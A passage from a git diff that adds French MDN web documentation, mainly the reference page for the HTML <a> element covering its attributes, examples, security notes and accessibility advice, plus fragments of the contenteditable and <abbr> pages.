+slug: Web/HTML/Contenu_editable
+translation_of: Web/Guide/HTML/Editable_content
+---
+<h2 id="Introduction">Introduction</h2>
+<p>Chaque élément du HTML5 peut être éditable. Cette fonctionnalité a été introduite longtemps auparavant mais a maintenant été standarisée avec <a class="external" href="http://www.whatwg.org/" title="http://www.whatwg.org/">WHATWG</a> (<a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/multipage/editing.html#contenteditable" title="http://www.whatwg.org/specs/web-apps/current-work/multipage/editing.html#contenteditable">voir la spécification HTML actuelle</a>). Avec des gestionnaires d'événements JavaScript, vous pouvez transformer votre page Web en un éditeur de texte, complet et rapide.</p>
+<h2 id="Compatibilité">Compatibilité</h2>
+<p>Le contenu éditable est entièrement compatible avec les navigateurs actuels :</p>
+<ul>
+  <li>Firefox 3.5+</li>
+  <li>Chrome 6.0+</li>
+  <li>Internet Explorer 6.0+</li>
+  <li>Safari 3.2+</li>
+  <li>Opera 8+</li>
+  <li>iOS Safari 5.0+</li>
+  <li>Android Browser 3.0+</li>
+</ul>
+<p>Ce n'est pas encore supporté par Opera Mini et Opera Mobile.</p>
+<h2 id="Comment_ça_marche">Comment ça marche ?</h2>
+<p>Fixez l'attribut <code>contenteditable</code> à <code>true</code> dans votre élément HTML. Ça peut être fait dans quasiment tous les éléments HTML.</p>
+<h2 id="Exemples">Exemples</h2>
+<p>Un exemple simple :</p>
+<pre>&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+  &lt;body&gt;
+    &lt;div contenteditable="true"&gt;
+      Ce texte peut être édité par l'utilisateur.
+    &lt;/div&gt;
+  &lt;/body&gt;
+&lt;/html&gt; </pre>
+<p>Vous pouvez observer un exemple concret intégrant JavaScript utilisant LocalStorage <a class="external" href="http://html5demos.com/contenteditable" title="http://html5demos.com/contenteditable">ici</a>. Le code source est disponible <a href="http://html5demos.com/contenteditable#view-source" title="http://html5demos.com/contenteditable#view-source">ici</a>.</p>
+<h2 id="Voir_aussi">Voir aussi</h2>
+<p><a href="/fr/docs/Midas" title="en/Midas">Comment interagir avec le contenu </a>(style proche de l'ancienne API Internet Explorer) ou encore <a href="/fr/docs/Rich-Text_Editing_in_Mozilla" title="en/rich-text editing in mozilla">ici</a>.</p>
+<div>
+  {{ languages({ "ja": "ja/HTML/Content_Editable", "zh-cn": "zh-cn/HTML/Content_Editable" }) }}</div>
diff --git a/files/fr/web/html/element/a/index.html b/files/fr/web/html/element/a/index.html
new file mode 100644
index 0000000000..e9ea38803c
--- /dev/null
+++ b/files/fr/web/html/element/a/index.html
@@ -0,0 +1,333 @@
+---
+title: '<a> : l''élément d''ancre'
+slug: Web/HTML/Element/a
+tags:
+  - Contenu
+  - Element
+  - HTML
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/a
+---
+<div>{{HTMLRef}}</div>
+
+<p>L'élément <strong><code>&lt;a&gt;</code></strong> (pour ancre ou <em>anchor</em> en anglais) définit un hyperlien vers un autre endroit de la même page ou vers une autre page sur le Web.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/a.html")}}</div>
+
+<div class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</div>
+
+<h2 id="Attributs">Attributs</h2>
+
+<p>Cet élément inclut les <a href="/fr/docs/Web/HTML/Attributs_universels">attributs universels</a>.</p>
+
+<dl>
+ <dt>{{htmlattrdef("download")}} {{HTMLVersionInline(5)}}</dt>
+ <dd>Cet attribut indique au navigateur de télécharger l'objet vers lequel pointe l'URL plutôt que d'y diriger l'utilisateur. Cela ouvre une invite pour enregistrer la cible du lien comme un fichier local. Si l'attribut a une valeur, le navigateur doit l'interpréter comme le nom de fichier par défaut pour l'invite qui s'ouvre (l'utilisateur pourra bien entendu modifier le nom de fichier avant de cliquer sur « Enregistrer »). Il n'y a aucune limitation sur les valeurs autorisées, mais il faut se souvenir ici que la plupart des systèmes de fichiers ont des limitations concernant la ponctuation dans les noms de fichier, et que les navigateurs procéderont sûrement à des ajustements en conséquence (par exemple, les barres obliques et barres obliques inversées seront sans doute converties en tirets bas).
+ <div class="note">
+ <p><strong>Note :</strong></p>
+
+ <ul>
+  <li>Cet attribut ne fonctionne que pour les URL partageant <a href="fr/docs/Web/Security/Same_origin_policy_for_JavaScript">la même origine</a> mais jamais pour les URI utilisant le schéma <code>file:</code>.</li>
+  <li>Bien que les URL HTTPS doivent provenir de la même origine, les URL <a href="/fr/docs/Web/API/URL/createObjectURL"><code>blob:</code></a>, <code>data:</code> et <code>filesystem:</code> peuvent être utilisées afin de simplifier le téléchargement de contenus générés par un programme JavaScript (ex. : une image générée automatiquement).</li>
+  <li>Si l'en-tête HTTP {{HTTPHeader("Content-Disposition")}} est présent et fournit un nom de fichier différent que celui fourni par l'attribut alors ce sera l'en-tête HTTP qui aura la priorité sur l'attribut.</li>
+  <li>Si l'attribut est présent et que <code>Content-Disposition:</code> vaut <code>inline</code>, Firefox donnera la priorité à l'en-tête, Chrome donnera la priorité à l'attribut.</li>
+  <li>Cet attribut est uniquement respecté pour les liens des ressources de la même origine.</li>
+ </ul>
+ </div>
+ </dd>
+ <dt>{{htmlattrdef("href")}}</dt>
+ <dd>L'attribut <code>href</code> indique la cible du lien sous la forme d'une URL ou d'un fragment d'URL. Un fragment d'URL est un nom précédé par un dièse (#), qui indique une cible interne au document (un <a href="/fr/docs/Web/HTML/Attributs_universels/id">ID</a>). Les URL ne se limitent pas au documents web sur HTTP. Les URL peuvent utiliser n'importe quel protocole supporté par le navigateur. Par exemple, <code>file</code>, <code>ftp</code> et <code>mailto</code> fonctionnent avec la plupart des agents-utilisateur.
+ <div class="note">
+ <p><strong>Note :</strong> Le fragment spécial <code>href="#top"</code> ou le fragment vide <code>href="#"</code> peuvent être utilisés pour créer un lien de retour vers le haut de la page ; par exemple <code>&lt;a href="#top"&gt;Retourner en haut&lt;/a&gt;</code>. <a href="https://www.whatwg.org/specs/web-apps/current-work/multipage/history.html#scroll-to-fragid">Ce comportement est défini par HTML5</a>.</p>
+ </div>
+ </dd>
+ <dt>{{htmlattrdef("hreflang")}}</dt>
+ <dd>Cet attribut indique la langue de la ressource liée. Il est purement indicatif. Les valeurs permises pour HTML5 sont définies par <a class="external" href="https://www.ietf.org/rfc/bcp/bcp47.txt">BCP47</a> et pour HTML 4 par la <a class="external" href="https://www.ietf.org/rfc/rfc1766.txt">RFC1766</a>. Cet attribut ne doit être utilisé que si l'attribut {{htmlattrxref("href", "a")}} est présent.</dd>
+ <dt>{{htmlattrdef("ping")}}</dt>
+ <dd>Contient une liste d'URL séparées par des espaces vers lesquelles sont envoyées des requêtes {{HTTPMethod("POST")}} avec le corps <code>PING</code> lorsque l'utilisateur suit le lien. Cet attribut est généralement utilisé pour tracer un utilisateur.</dd>
+ <dt>{{htmlattrdef("referrerpolicy")}} {{experimental_inline}}</dt>
+ <dd>Une chaîne de caractères qui indique le référent à utiliser lors de la récupération de la ressource :
+ <ul>
+  <li><code>'no-referrer'</code> indique que l'en-tête <code>Referer</code> ne sera pas envoyé.</li>
+  <li><code>'no-referrer-when-downgrade'</code> indique que l'en-tête <code>Referer</code> ne sera pas envoyé lorsque l'utilisateur navigue depuis une origine sans TLS/HTTPS. C'est le comportement par défaut de l'agent utilisateur si aucune autre politique n'est spécifiée.</li>
+  <li><code>'origin'</code> indique que le référent sera l'origine de la page (ce qui correspond au schéma utilisé, à l'hôte et au port).</li>
+  <li><code>'origin-when-cross-origin'</code> indique que lorsqu'on navigue sur d'autres origines, seule l'origine du document sera envoyée. Lorsqu'on navigue sur la même origine, le chemin de la ressource sera inclus dans le référent.</li>
+  <li><code>'strict-origin-when-cross-origin'</code> fonctionne comme <code>origin-when-cross-origin</code> mais les en-têtes d'origine sont envoyés via HTTPS plutôt que par HTTP.</li>
+  <li><code>'unsafe-url'</code> indique que le référent envoyé inclura l'origine et le chemin (mais pas le fragment, le mot de passe ou le nom d'utilisateur). Ce cas n'est pas considéré comme sûr car il peut laisser fuiter des origines et des chemins de ressources protégées par TLS vers des origines non-sécurisées.</li>
+ </ul>
+ </dd>
+ <dt>{{htmlattrdef("rel")}}</dt>
+ <dd>Cet attribut indique la relation entre la cible du lien et l'objet faisant le lien. La valeur est une liste de <a href="/fr/docs/Web/HTML/Link_types">types de liens</a> séparés par des espaces.</dd>
+ <dt>{{htmlattrdef("target")}}</dt>
+ <dd>Cet attribut indique où afficher la ressource liée. Il s'agit du nom, ou du mot-clé, d'un <em>contexte de navigation</em> (par exemple, un onglet, une fenêtre, ou une {{HTMLElement("iframe")}}). Les mots-clés suivants ont un sens particulier :
+ <ul>
+  <li><code>_self</code> : charge la réponse dans le contexte de navigation courant. Il s'agit de la valeur par défaut quand l'attribut n'est pas renseigné.</li>
+  <li><code>_blank</code> : charge la réponse dans un nouveau contexte de navigation.
+   <ul>
+    <li>Ajouter un lien vers une autre page en utilisant <code>target="_blank"</code> exécutera la page dans le même processus que la page courante. Si la nouvelle page consomme de nombreuses ressources, les performances de la page courante pourront en pâtir. Pour éviter ce problème, on pourra utiliser <code>rel="noopener"</code>.</li>
+   </ul>
+  </li>
+  <li><code>_parent</code> : charge la réponse dans le {{HTMLElement("frameset")}} HTML4 parent de la frame courante ou dans le contexte de navigation HTML5 parent relativement au contexte courant). S'il n'y a pas de parent, l'option se comporte de la même façon que <code>_self</code>.</li>
+  <li><code>_top</code> : En HTML4 : charge la réponse dans la fenêtre originale, annulant toutes les autres frames. En HTML5 : charge la réponse dans le contexte de navigation de plus haut niveau (c'est à dire, le contexte de navigation parent par rapport à l'actuel, et qui n'a lui-même aucun parent). S'il n'y a pas de parent, l'option se comporte de la même façon que <code>_self</code>.</li>
+ </ul>
+
+ <p>Lorsque <code>target</code> est utilisé, on pourra ajouter <code>rel="noopener noreferrer"</code> afin d'éviter la fuite de données via l'API <code><a href="/fr/docs/Web/API/Window/opener">Window.opener</a></code>.</p>
+ </dd>
+ <dt>{{htmlattrdef("type")}}</dt>
+ <dd>Cet attribut indique le type de média de la cible du lien, sous la forme d'un type MIME. Généralement, il s'agit d'une information purement indicative.</dd>
+</dl>
+
+<h3 id="Attributs_obsolètes">Attributs obsolètes</h3>
+
+<dl>
+ <dt>{{htmlattrdef("charset")}} {{Obsolete_Inline("HTML5")}}</dt>
+ <dd>Cet attribut définit le jeu de caractères de la ressource liée. La valeur est une liste de jeux de caractères (défini dans <a class="external" href="https://tools.ietf.org/html/rfc2045">RFC 2045</a>) séparés par des espaces ou des virgules. La valeur par défaut est ISO-8859-1.
+ <div class="note">
+ <p><strong>Note d'utilisation : </strong>Cet attribut est obsolète en HTML5, et <strong>ne doit plus être utilisé</strong> par les auteurs. Pour obtenir le même effet, utiliser l'entête HTTP Content-Type sur la ressource liée.</p>
+ </div>
+ </dd>
+ <dt>{{htmlattrdef("coords")}} {{HTMLVersionInline(4)}} seulement, {{Obsolete_Inline("HTML5")}}</dt>
+ <dd>Pour utiliser avec des formes géométriques. Cet attribut utilise une liste de nombres séparés par des virgules, définissant les coordonnées de l'objet sur la page.</dd>
+ <dt>{{htmlattrdef("name")}} {{HTMLVersionInline(4)}} seulement, {{Obsolete_Inline("HTML5")}}</dt>
+ <dd>Cet attribut est utilisé pour définir une ancre cible au sein de la page. La valeur de <code><strong>name</strong></code> est similaire à la valeur de l'attribut global <code><strong>id</strong></code>, et doit être un identifiant alphanumérique unique au document. Sous la spécification HTML 4.01, <code><strong>id</strong></code> et <code><strong>name</strong></code> peuvent être tous les deux utilisés sur un élément <code>&lt;a&gt;</code> s'ils ont des valeurs identiques.
+ <div class="note">
+ <p><strong>Note d'utilisation </strong><strong>:</strong> Cet attribut est obsolète en HTML5, il faut utiliser l'<a href="/fr/docs/Web/HTML/Attributs_globaux#id">attribut global <strong>id</strong></a> à la place.</p>
+ </div>
+ </dd>
+ <dt>{{htmlattrdef("rev")}} {{HTMLVersionInline(4)}} seulement, {{Obsolete_Inline("HTML5")}}</dt>
+ <dd>L'attribut indique un lien inversé : la relation inverse de l'attribut <strong><code>rel</code></strong>. Il est utile pour indiquer l'origine d'un objet, tel que l'auteur d'un document.
+ <div class="note">
+ <p><strong>Note </strong><strong>:</strong> La spécification actuelle de HTML 5.2 du W3C n'indique plus l'attribut <code>rev</code> comme obsolète. En revanche, la spécification du WHATWG le considère toujours comme obsolète. Tant que cette incohérence n'est pas résolue, mieux vaut considérer cet attribut comme obsolète.</p>
+ </div>
+ </dd>
+ <dt>{{htmlattrdef("shape")}} {{HTMLVersionInline(4)}} seulement, {{Obsolete_Inline("HTML5")}}</dt>
+ <dd>Cet attribut est utilisé pour définir une zone cliquable pour un lien associé à une image, pour créer une image map. Les valeurs pour cet attribut sont <code>circle</code>, <code>default</code>, <code>polygon</code>, et <code>rect</code>. Le format de l'attribut <code>coords</code> dépend de la valeur de <code>shape</code>. Pour <code>circle</code>, la valeur est <code>x,y,r</code> où <code>x</code> et <code>y</code> sont les coordonnées en pixel pour le centre du cercle et <code>r</code> est le rayon du cercle en pixel. Pour <code>rect</code>, l'attribut <code>coords</code> doit être <code>x,y,w,h</code>. Les valeurs <code>x,y</code> définissent le coin supérieur gauche du rectangle, pendant <code>w</code> et <code>h</code> définissent respectivement la largeur et la hauteur. Une valeur <code>polygon</code> pour <strong>shape</strong> nécessite les valeurs <code>x1,y1,x2,y2,...</code> pour <code>coords</code>. Chaque paire de <code>x,y</code> définissent un point du polygone, avec les points successifs joints par des lignes droites, et le dernier point joint au premier. La valeur <code>default</code> pour <code>shape</code> nécessite que la totalité de la zone, habituellement une image, soit utilisée.
+ <div class="note"><strong>Note :</strong> Il est préférable d'utiliser l'attribut {{htmlattrxref("usemap","img")}} de l'élément {{HTMLElement("img")}} et l'élément {{HTMLElement("map")}} associé, pour définir des zones d'actions, à la place de l'attribut <code>shape</code>.</div>
+ </dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Hyperlien_vers_une_ressource_externe">Hyperlien vers une ressource externe</h3>
+
+<pre class="brush: html notranslate">&lt;a href="https://www.mozilla.com/"&gt;
+Lien externe
+&lt;/a&gt;</pre>
+
+<h4 id="Résultat">Résultat</h4>
+
+<p>{{EmbedLiveSample("Hyperlien_vers_une_ressource_externe")}}</p>
+
+<h3 id="Créer_une_image_cliquable">Créer une image cliquable</h3>
+
+<p>Ce petit exemple utilise une image qui redirige vers la page d'accueil de MDN. La page d'accueil s'ouvrira dans un nouveau contexte de navigation, c'est une nouvelle page ou un nouvel onglet.</p>
+
+<div class="blockIndicator note">
+<p>Dans le cas d'une image cliquable, le texte alternatif doit contenir l'objet du lien, tel qu'indiqué dans <a href="https://www.w3.org/WAI/WCAG21/Understanding/non-text-content">l'exemple 9 des WCAG 1.1.1 relatives aux alternatives textuelles</a>.</p>
+</div>
+
+<pre class="brush: html notranslate">&lt;a href="https://developer.mozilla.org/fr/" target="_blank"&gt;
+ &lt;img src="https://mdn.mozillademos.org/files/6851/mdn_logo.png" alt="Documentation du web - MDN" /&gt;
+&lt;/a&gt;</pre>
+
+<h4 id="Résultat_2">Résultat</h4>
+
+<p>{{EmbedLiveSample("Exemple_Cr%C3%A9er_une_image_cliquable", "320", "64")}}</p>
+
+<h3 id="Créer_un_lien_vers_un_numéro_de_téléphone">Créer un lien vers un numéro de téléphone</h3>
+
+<p>Lorsqu'on utilise des appareils connectés à des téléphones, il peut être pratique d'utiliser des liens avec le schéma <code>tel:</code> :</p>
+
+<pre class="brush: html notranslate">&lt;a href="tel:+615701564"&gt;+6 15 70 15 64&lt;/a&gt;
+</pre>
+
+<p>Pour plus de détails sur ce schéma, se référer à la RFC {{RFC(3966)}}.</p>
+
+<h3 id="Créer_un_lien_pour_écrire_un_e-mail">Créer un lien pour écrire un e-mail</h3>
+
+<p>Il est courant de créer des boutons ou des hyperliens qui vont ouvrir l'application de messagerie de l'utilisateur pour lui permettre d'envoyer un nouveau message. Cela est possible en utilisant un lien <code>mailto</code>. Voici un exemple simple:</p>
+
+<pre class="brush: html notranslate">&lt;a href="mailto:personne@mozilla.org"&gt;Envoyer un courriel à personne&lt;/a&gt;</pre>
+
+<p>Cela produit comme résultat, un lien qui ressemble à ceci: <a href="mailto:nowhere@mozilla.org">Envoyer un courriel à personne</a>.<br>
+ Pour plus de détails sur le schéma URL de <code>mailto</code>, comme comment inclure un sujet, un corps de texte, ou tout autre contenu prédéterminé, voir les <a href="/fr/docs/Web/Guide/HTML/Email_links">liens Emails</a> ou {{RFC(6068)}}.</p>
+
+<h3 id="Utiliser_lattribut_download_pour_sauvegarder_un_canvas_en_PNG">Utiliser l'attribut <code>download</code> pour sauvegarder un canvas en PNG</h3>
+
+<p>Si on souhaite permettre à un utilisateur de télécharger un canvas HTML comme une image, on peut créer un lien avec un attribut download et lui associer les données liées au {{HTMLElement('canvas')}} pour construire une URL de fichier.</p>
+
+<pre class="brush: js notranslate">var link = document.createElement('a');
+link.textContent = 'Télécharger une image';
+link.addEventListener('click', function(ev) {
+    link.href = canvas.toDataURL();
+    link.download = "maToile.png";
+}, false);
+document.body.appendChild(link);</pre>
+
+<p>Vous pouvez voir le résultat de ce code ici <a href="https://jsfiddle.net/codepo8/V6ufG/2/">https://jsfiddle.net/codepo8/V6ufG/2/</a></p>
+
+<h2 id="Notes">Notes</h2>
+
+<ul>
+ <li>Les raccourcis clavier suivants sont réservés par deux des principaux navigateurs, et ne doivent pas être utilisés comme valeur pour <code>accesskey</code> : a, c, e, f, g, h, v, flèche droite et flèche gauche.</li>
+</ul>
+
+<h2 id="Sécurité_et_vie_privée">Sécurité et vie privée</h2>
+
+<p>Bien que l'élément <code>&lt;a&gt;</code> soit la plupart du temps utilisé innocemment, les informations qu'il peut transporter peuvent avoir des effets indésirables sur la sécurité et sur la vie privée des utilisateurs. Pour plus d'informations, voir <a href="/fr/docs/Web/Security/Referer_header:_privacy_and_security_concerns">cet article sur l'en-tête <code>Referer</code> et les problématiques qu'il soulève</a>.</p>
+
+<p>L'utilisation de <code>target="_blank"</code> sans <code>rel="noreferrer"</code> et sans <code>rel="noopener"</code> peut rendre un site vulnérable à certaines formes d'attaques utilisant l'API <code>window.opener</code> (voir <a href="https://www.jitbit.com/alexblog/256-targetblank---the-most-underestimated-vulnerability-ever/">ce billet</a>).</p>
+
+<h2 id="Accessibilité">Accessibilité</h2>
+
+<h3 id="Évènements_onclick">Évènements <code>onclick</code></h3>
+
+<p>Les ancres sont souvent détournées avec l'évènement <code>onclick</code> afin de créer des pseudo-boutons avec l'attribut <code>href</code> qui vaut <code>"#"</code> ou <code>"javascript:void(0)"</code> pour empêcher le rafraîchissement de la page.</p>
+
+<p>Ces valeurs produisent des résultats inadéquats lorsqu'on copie/déplace des liens, qu'on ouvre des liens dans de nouveaux onglets ou fenêtres, qu'on ajoute des marque-pages ou lorsque le JavaScript est encore en train d'être téléchargé. De plus, la sémantique exposée par le document, utilisée par les outils d'assistance, est incorrecte.</p>
+
+<p>Dans ces cas, on privilégiera plutôt l'utilisation d'un bouton {{HTMLElement("button")}}. De façon générale, une ancre ne doit être utilisée que pour naviguer vers une URL correcte.</p>
+
+<h3 id="Liens_externes_liens_vers_des_ressources_non-HTML">Liens externes, liens vers des ressources non-HTML</h3>
+
+<p>Les liens qui ouvrent un nouvel onglet ou une nouvelle fenêtre grâce à <code>target="_blank"</code>, ainsi que le liens qui ouvrent des fichiers devraient fournir une indication sur ce qui se produira lorsqu'on cliquera sur ces liens.</p>
+
+<p>Les personnes qui utilisent des outils d'assistance à la navigation comme des lecteurs d'écran et/ou qui souffrent de troubles de la vision, cognitifs peuvent être confuses lorsqu'un nouvel onglet, fichier ou une nouvelle fenêtre s'ouvre de façon inattendue. Les anciennes versions des lecteurs d'écran peuvent également ne pas annoncer ce comportement.</p>
+
+<h4 id="Lien_vers_un_nouvel_onglet_ou_une_nouvelle_fenêtre">Lien vers un nouvel onglet ou une nouvelle fenêtre</h4>
+
+<pre class="brush: html notranslate">&lt;a target="_blank" href="https://www.wikipedia.org/"&gt;Wikipédia (s'ouvre dans une nouvelle fenêtre)&lt;/a&gt;
+</pre>
+
+<h4 id="Lien_vers_une_ressource_non-HTML">Lien vers une ressource non-HTML</h4>
+
+<pre class="brush: html notranslate">&lt;a target="_blank" href="2017-rapport-annuel.ppt"&gt;Rapport annuel 2017 (PowerPoint)&lt;/a&gt;
+</pre>
+
+<p>Si une icône est utilisée en lieu et place du texte pour indiquer ce comportement, on s'assurera qu'elle contient bien <a href="/fr/docs/Web/HTML/Element/Img#attr-alt">une description alternative</a>.</p>
+
+<ul>
+ <li><a href="https://webaim.org/techniques/hypertext/hypertext_links">WebAIM : Liens et hypertexte (en anglais)</a></li>
+ <li><a href="/fr/docs/Web/Accessibility/Understanding_WCAG/Understandable#Guideline_3.2_—_Predictable_Make_Web_pages_appear_and_operate_in_predictable_ways">Comprendre les règles WCAG 3.2</a></li>
+ <li><a href="https://www.w3.org/TR/WCAG20-TECHS/G200.html">G200 : Ouvrir de nouvelles fenêtres et onglets à partir d'un lien lorsque c'est strictement nécessaire - WCAG 2.0 (en anglais)</a></li>
+ <li><a href="https://www.w3.org/TR/WCAG20-TECHS/G201.html">G201 : Fournir un avertissement aux utilisateurs lorsqu'ils ouvrent une nouvelle fenêtre WCAG 2.0 (en anglais)</a></li>
+</ul>
+
+<h3 id="Skip_links_-_liens_pour_laccès_rapide_au_contenu"><em>Skip links</em> - liens pour l'accès rapide au contenu</h3>
+
+<p>Un <em>skip link</em> (aussi appelé <em>skipnav</em> en anglais) est un élément <code>a</code> qui est placé le plus près possible de l'élément {{HTMLElement("body")}} et qui renvoie au début du contenu principal de la page.</p>
+
+<p>Ce lien permet alors de passer plus facilement le contenu qui se répète sur l'ensemble des pages (l'en-tête et la barre de navigation par exemple).</p>
+
+<p>Les <em>skip links</em> sont particulièrement utiles pour les personnes qui naviguent à l'aide d'outils d'assistance (commande vocale, stylets buccal ou frontal) pour lesquels devoir passer par des liens répétés peut freiner la lecture du document.</p>
+
+<ul>
+ <li><em><a href="https://webaim.org/techniques/skipnav/">WebAIM: "Skip Navigation" Links</a></em><a href="https://webaim.org/techniques/skipnav/"> (en anglais)</a></li>
+ <li><a href="https://a11yproject.com/posts/2013-05-11-skip-nav-links/">Comment utiliser les <em>skip links</em> - <em>The A11Y Project</em> (en anglais)</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/Understanding_WCAG/Operable#Guideline_2.4_%E2%80%94_Navigable_Provide_ways_to_help_users_navigate_find_content_and_determine_where_they_are">Comprendre les règles WCAG 2.4 (en anglais)</a></li>
+ <li><a href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/navigation-mechanisms-skip.html"><em>Understanding Success Criterion 2.4.1 - W3C Understanding WCAG 2.0</em> (en anglais)</a></li>
+</ul>
+
+<h3 id="Dimensionnement_et_proximité">Dimensionnement et proximité</h3>
+
+<h4 id="Dimensionnement_-_taille">Dimensionnement - taille</h4>
+
+<p>Les éléments interactifs tels que les liens doivent fournir une surface suffisamment grande pour qu'il soit facile de les activer. Cela facilitera la tâche à une variété de personnes : celles qui ont des problèmes moteur, celles qui utilisent des dispositifs de pointage peu précis (doigt ou stylet). La taille interactive minimale recommandée est de 44x44 <a href="https://www.w3.org/TR/WCAG21/#dfn-css-pixels">pixels CSS</a>.</p>
+
+<ul>
+ <li><a href="https://www.w3.org/WAI/WCAG21/Understanding/target-size.html">Comprendre le critère d'accessibilité 2.5.5 sur la taille des cibles - Comprendre WCAG 2.1 (en anglais)</a></li>
+ <li><a href="http://adrianroselli.com/2019/06/target-size-and-2-5-5.html">Taille des cibles et critère 2.5.5, billet en anglais de Adrian Roselli (an anglais)</a></li>
+ <li><a href="https://a11yproject.com/posts/large-touch-targets/">Test rapide : cibles tactiles suffisamment grande - Projet A11Y (billet en anglais)</a></li>
+</ul>
+
+<h4 id="Proximité">Proximité</h4>
+
+<p>Lorsque plusieurs contenus interactifs (y compris les ancres) sont placés les uns à côté des autres, il est nécessaire de les espacer suffisamment pour minimiser le risque d'activer le mauvais contenu lors de la navigation.</p>
+
+<p>Un tel espacement peut être obtenu grâce à la propriété CSS {{cssxref("margin")}}.</p>
+
+<ul>
+ <li><a href="https://axesslab.com/hand-tremors/">Les tremblements de la main et le problème du bouton géant - Axess Lab (en anglais)</a></li>
+</ul>
+
+<h2 id="Résumé_technique">Résumé technique</h2>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/fr/docs/Web/HTML/Catégorie_de_contenu">Catégories de contenu</a></th>
+   <td><a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_de_flux">Contenu de flux</a>, <a href="/fr/docs/Web/HTML/Cat%C3%A9gorie_de_contenu#Contenu_phras.C3.A9">contenu phrasé</a>, <a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_interactif">contenu interactif</a>, contenu tangible.</td>
+  </tr>
+  <tr>
+   <th scope="row">Contenu autorisé</th>
+   <td><a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Modèle_de_contenu_transparent">Contenu transparent</a> qui contient du <a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_de_flux">contenu de flux</a> (mais pas de <a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_interactif">contenu interactif</a>) ou du <a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_phras.C3.A9">contenu phrasé</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Omission de balises</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Parents autorisés</th>
+   <td>Tout élément qui accepte du <a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_phras.C3.A9">contenu phrasé</a> ou tout élément qui accepte du <a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_de_flux">contenu de flux</a>. (un élément <code>&lt;a&gt;</code> ne peut pas avoir d'élément parent qui soit également un élément <code>&lt;a&gt;</code>).</td>
+  </tr>
+  <tr>
+   <th scope="row">Rôles ARIA autorisés</th>
+   <td>{{ARIARole("button")}}, {{ARIARole("checkbox")}}, {{ARIARole("menuitem")}}, {{ARIARole("menuitemcheckbox")}}, {{ARIARole("menuitemradio")}}, {{ARIARole("option")}}, {{ARIARole("radio")}}, {{ARIARole("switch")}}, {{ARIARole("tab")}}, {{ARIARole("treeitem")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Interface DOM</th>
+   <td>{{domxref("HTMLAnchorElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Referrer Policy', '#referrer-policy-delivery-referrer-attribute', 'referrer attribute')}}</td>
+   <td>{{Spec2('Referrer Policy')}}</td>
+   <td>Ajout de l'attribut <code>referrer</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'text-level-semantics.html#the-a-element', '&lt;a&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'text-level-semantics.html#the-a-element', '&lt;a&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'struct/links.html#h-12.2', '&lt;a&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<div class="blockIndicator note">
+<p><strong>Note :</strong> HTML 3.2. définit uniquement les attributs <code>name</code>, <code>href</code>, <code>rel</code>, <code>rev</code> et <code>title</code>.</p>
+</div>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("html.elements.a")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Les autres éléments ayant une sémantique textuelle : {{HTMLElement("abbr")}}, {{HTMLElement("em")}}, {{HTMLElement("strong")}}, {{HTMLElement("small")}}, {{HTMLElement("cite")}}, {{HTMLElement("q")}}, {{HTMLElement("dfn")}}, {{HTMLElement("time")}}, {{HTMLElement("code")}}, {{HTMLElement("var")}}, {{HTMLElement("samp")}}, {{HTMLElement("kbd")}}, {{HTMLElement("sub")}}, {{HTMLElement("sup")}}, {{HTMLElement("b")}}, {{HTMLElement("i")}}, {{HTMLElement("mark")}}, {{HTMLElement("ruby")}}, {{HTMLElement("rp")}}, {{HTMLElement("rt")}}, {{HTMLElement("bdo")}}, {{HTMLElement("span")}}, {{HTMLElement("br")}}, {{HTMLElement("wbr")}}</li>
+</ul>
diff --git a/files/fr/web/html/element/abbr/index.html b/files/fr/web/html/element/abbr/index.html
new file mode 100644
index 0000000000..920bcc3a7e
--- /dev/null
+++ b/files/fr/web/html/element/abbr/index.html
@@ -0,0 +1,203 @@
+---
+title: <abbr>
+slug: Web/HTML/Element/abbr
+tags:
+  - Element
+  - HTML
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/abbr
+---
+<div>{{HTMLRef}}</div>
+
